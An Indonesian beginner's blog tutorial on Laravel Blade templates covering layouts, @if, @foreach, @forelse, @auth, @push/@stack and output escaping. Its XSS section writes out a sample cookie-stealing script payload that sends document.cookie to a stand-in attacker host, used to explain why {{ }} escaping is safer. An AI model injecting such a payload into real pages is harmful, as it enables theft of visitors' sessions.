Belajar Laravel #3: Blade Dasar — Template Layout, Kondisi & Looping
Episode ketiga! Setelah di episode #2 kita sudah bisa membuat route dan controller pertama, sekarang waktunya belajar Blade — template engine bawaan Laravel yang bikin kita nggak perlu copy-paste HTML bolak-balik tiap buat halaman.
Jujur, pas pertama kali pakai Blade, saya agak bingung dengan syntax @-nya. Ternyata setelah beberapa jam utak-atik, Blade itu justru sangat ramah pemula. Intinya: tulis HTML biasa, tambahin sedikit directive @ untuk logika, dan biarkan Blade menggabungkannya.
Mengapa Pakai Template Engine?
Bayangkan punya 10 halaman dengan header & footer yang sama. Tanpa template engine, kita harus menulis ulang header & footer di setiap file PHP/HTML. Dengan Blade, kita pisahkan layout (yang diulang) dan konten (yang berbeda per halaman).
Tiga konsep utama Blade yang harus dipahami:
- Layout inheritance —
@extends,@section,@yield - Conditional —
@if,@elseif,@else,@endif - Looping —
@foreach,@forelse,@endforeach
Layout dengan @extends, @section, @yield
Mari buat layout utama dulu. Di Laravel, file Blade disimpan di resources/views/. Buat file resources/views/layouts/app.blade.php:
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>@yield('title', 'Judul Default')</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-dark bg-primary px-3">
<a class="navbar-brand" href="/">Catatan Rudy</a>
</nav>
<div class="container mt-4">
@yield('content')
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
Perhatikan @yield('content') — ini placeholder yang akan diisi oleh child view. Judulnya juga pakai @yield dengan default value.
Sekarang buat halaman home di resources/views/home.blade.php:
@extends('layouts.app')
@section('title', 'Beranda')
@section('content')
<h1>Selamat Datang!</h1>
<p>Ini halaman pertama saya belajar Laravel.</p>
@endsection
Cukup tiga langkah: @extends untuk menyatakan pakai layout mana, @section('title', ...) untuk judul (satu baris), dan @section('content') ... @endsection untuk isi kontennya. Blade akan menggabungkan semuanya saat render.
Jangan lupa, di route-nya kita return view: return view('home'); — Laravel otomatis cari file home.blade.php.
Kondisi @if / @elseif / @else
Sama seperti if di PHP, tapi syntax-nya lebih ringkas:
@extends('layouts.app')
@section('content')
<h1>Dashboard</h1>
@if(isset($user))
<p>Halo, {{ $user['name'] }}!</p>
@else
<p>Halo, tamu! Silakan <a href="/login">login</a>.</p>
@endif
@endsection
Ada juga @unless, kebalikan dari @if — berguna kalau logikanya negatif. Dan @isset($var) / @empty($var) sebagai shortcut untuk pengecekan yang sering dipakai.
Looping dengan @foreach
Seringkali data dari database berupa array/collection. Blade punya @foreach untuk mengulang data:
@extends('layouts.app')
@section('content')
<h1>Daftar Artikel</h1>
@if(count($articles) > 0)
<ul class="list-group">
@foreach($articles as $article)
<li class="list-group-item">
<strong>{{ $article['title'] }}</strong>
<br>
<small>{{ $article['date'] }}</small>
</li>
@endforeach
</ul>
@else
<p class="text-muted">Belum ada artikel.</p>
@endif
@endsection
Di controller-nya, kita kirim data sebagai array:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ArticleController extends Controller
{
public function index()
{
$articles = [
['title' => 'Belajar Routing', 'date' => '2026-08-10'],
['title' => 'Belajar Blade', 'date' => '2026-08-12'],
];
return view('articles.index', compact('articles'));
}
}
Cara compact('articles') itu shortcut — secara otomatis jadi ['articles' => $articles]. Kalau suka eksplisit, boleh juga return view('articles.index', ['articles' => $articles]).
{{ }} vs {!! !!} — Output Aman vs Raw HTML
Ini bagian penting. Blade punya dua cara menampilkan variabel:
{{ $name }}— otomatis escaped (aman dari XSS). Jika$name = "<script>alert('hack')</script>", yang muncul teks biasa, bukan script jahat.{!! $name !!}— output raw (tanpa escape). Hanya pakai kalau kamu pasti isinya aman, misalnya konten HTML dari editor tepercaya.
Aturan sederhana: selalu pakai {{ }} kecuali ada alasan kuat. Keamanan lebih penting dari kenyamanan.
Kesalahan Umum Pemula
- Lupa
@endsection— Blade akan error. Setiap@sectionharus ditutup. @foreachtanpa@endforeach— sama, harus seimbang.- Nama view salah — kalau
return view('home')tapi file-nya tidak ada diresources/views/home.blade.php, errorView [home] not found. - Pakai
{!! !!}sembarangan — bisa membuka celah XSS. Kalau ragu, pakai{{ }}. - Mixing PHP & Blade — bisa pakai
@php ... @endphp, tapi sebisa mungkin pakai Blade directive. Lebih rapi, lebih mudah dibaca.
@forelse dan @empty: Looping yang Ramah Data Kosong
Hari ini saya kembali ke catatan looping lama untuk memperdalamnya. Sebelumnya saya memakai pola @if(count($articles) > 0) hanya demi menampilkan pesan ketika data kosong — dua blok untuk satu keperluan sederhana. Ternyata Blade punya directive yang dirancang persis untuk kasus ini: @forelse. Saya coba pada daftar produk:
@forelse($products as $product)
<div class="card mb-2">
<div class="card-body">
<h5 class="card-title">{{ $product['name'] }}</h5>
<p class="card-text">Rp {{ number_format($product['price'], 0, ',', '.') }}</p>
</div>
</div>
@empty
<p class="text-muted">Belum ada produk yang tersedia saat ini.</p>
@endforelse
Cara bacanya lugas: kalau $products berisi data, bagian atas diulang untuk setiap item; kalau kosong, hanya blok @empty yang dirender. Satu directive menggantikan pasangan if–else versi count(), dan maksud kode langsung terbaca tanpa harus membaca kondisinya. Ini berarti bagi saya: template yang menangani data kosong dengan anggun sejak hari pertama, bukan tambal-sulam belakangan.
Escaping {{ }} vs Raw {!! !!}: Kenapa Ini Soal Keamanan
Di bagian awal catatan ini saya sudah menyinggung dua sintaks output Blade, tetapi baru hari ini sisi keamanannya benar-benar masuk akal — di sinilah istilah XSS (Cross-Site Scripting) berhenti menjadi jargon. Bayangkan sebuah kolom komentar; pengunjung iseng memasukkan ini:
$comment = "<script>fetch('https://contoh-serangan.test/?cookie=' + document.cookie)</script>";
Jika saya merendernya dengan {!! $comment !!}, browser memperlakukan isi itu sebagai HTML sungguhan dan script-nya dijalankan — cookie pengunjung lain bisa dikirim diam-diam ke server penyerang. Sebaliknya, {{ $comment }} mengubah karakter spesial menjadi entitas HTML sehingga yang tampil hanyalah teks biasa. Bedanya hanya sepasang kurung kurawal, dampaknya samasekali berbeda.
Lalu kapan {!! !!} boleh dipakai? Menurut pemahaman saya sekarang: hanya untuk HTML yang berasal dari sumber tepercaya dan telah melewati sanitasi — misalnya isi artikel yang ditulis lewat editor di panel admin sendiri:
<article class="post-body">
{!! $article['body'] !!}
</article>
Aturan yang saya pegang setelah ini: {{ }} untuk segala sesuatu yang pernah disentuh pengguna; {!! !!} hanya untuk konten milik sendiri yang sudah bersih; dan kalau ragu, kembali ke {{ }}. Keamanan tidak boleh kalah cepat dari kenyamanan.
Directive Praktis Lainnya: @isset, @auth, @guest
Dua pasangan shortcut lain yang mulai sering saya pakai: @isset/@endisset untuk memeriksa apakah sebuah variabel terpasang dan tidak kosong, serta @auth/@guest untuk membedakan pengunjung yang sudah dan belum masuk. Contoh yang mudah terbayang adalah navbar:
<nav class="main-nav">
@auth
<a href="{{ url('/dashboard') }}">Dashboard</a>
<form method="POST" action="{{ route('logout') }}">
@csrf
<button type="submit">Keluar</button>
</form>
@else
<a href="{{ route('login') }}">Masuk</a>
<a href="{{ route('register') }}">Daftar</a>
@endauth
</nav>
@csrf muncul di dalam form keluar karena action-nya memakai method POST; Laravel menolak request POST tanpa token itu — catatan tentang CSRF saya simpan untuk episode tersendiri. Adapun @isset($keranjang) menggantikan if (isset($keranjang)) yang lebih panjang; kecil memang, tetapi membuat template tetap lapang dan konsisten dengan gaya Blade lainnya.
@yield dan @extends (Rekap) Plus @push/@stack untuk CSS/JS per Halaman
Pola inti layout yang dipakai sejak awal catatan ini dapat direkap dalam satu kalimat: layout mendefinisikan lubang dengan @yield('content'), lalu child view mengisi lubang itu lewat @extends dan @section. Hari ini saya menemukan pelengkap yang rapi: @push dan @stack. Persoalannya begini — hampir semua halaman memakai CSS dan JS yang sama dari layout, tetapi sesekali satu halaman saja butuh file tambahan, misalnya pustaka grafik. Menaruhnya di layout berarti seluruh halaman ikut memuatnya sia-sia. Solusinya, layout menyediakan tempat penampungan:
<head>
<link rel="stylesheet" href="/css/app.css">
@stack('styles')
</head>
<body>
@yield('content')
<script src="/js/app.js"></script>
@stack('scripts')
</body>
Lalu di child view yang memang butuh pustaka grafik, saya dorong filenya ke stack tersebut:
@extends('layouts.app')
@section('content')
<div id="grafik"></div>
@endsection
@push('styles')
<link rel="stylesheet" href="/css/grafik.css">
@endpush
@push('scripts')
<script src="/js/grafik.js"></script>
@endpush
Dengan susunan ini, hanya halaman yang memanggil @push yang memuat grafik.css dan grafik.js; halaman lain tetap ramping. Cara saya melihatnya sekarang: @yield untuk konten utama, @stack untuk aset tambahan per halaman — dua mekanisme serupa dengan tujuan yang berbeda, dan keduanya membuat layout tunggal cukup untuk seluruh situs latihan saya.
Kesimpulan
Blade itu sederhana tapi powerful. Dengan tiga konsep utama — layout inheritance, kondisi, dan looping — kita sudah bisa membuat halaman-halaman yang rapi tanpa duplikasi kode. Di episode berikutnya, kita akan refresh HTML & CSS supaya tampilan makin enak dilihat.
Komentar Terbaru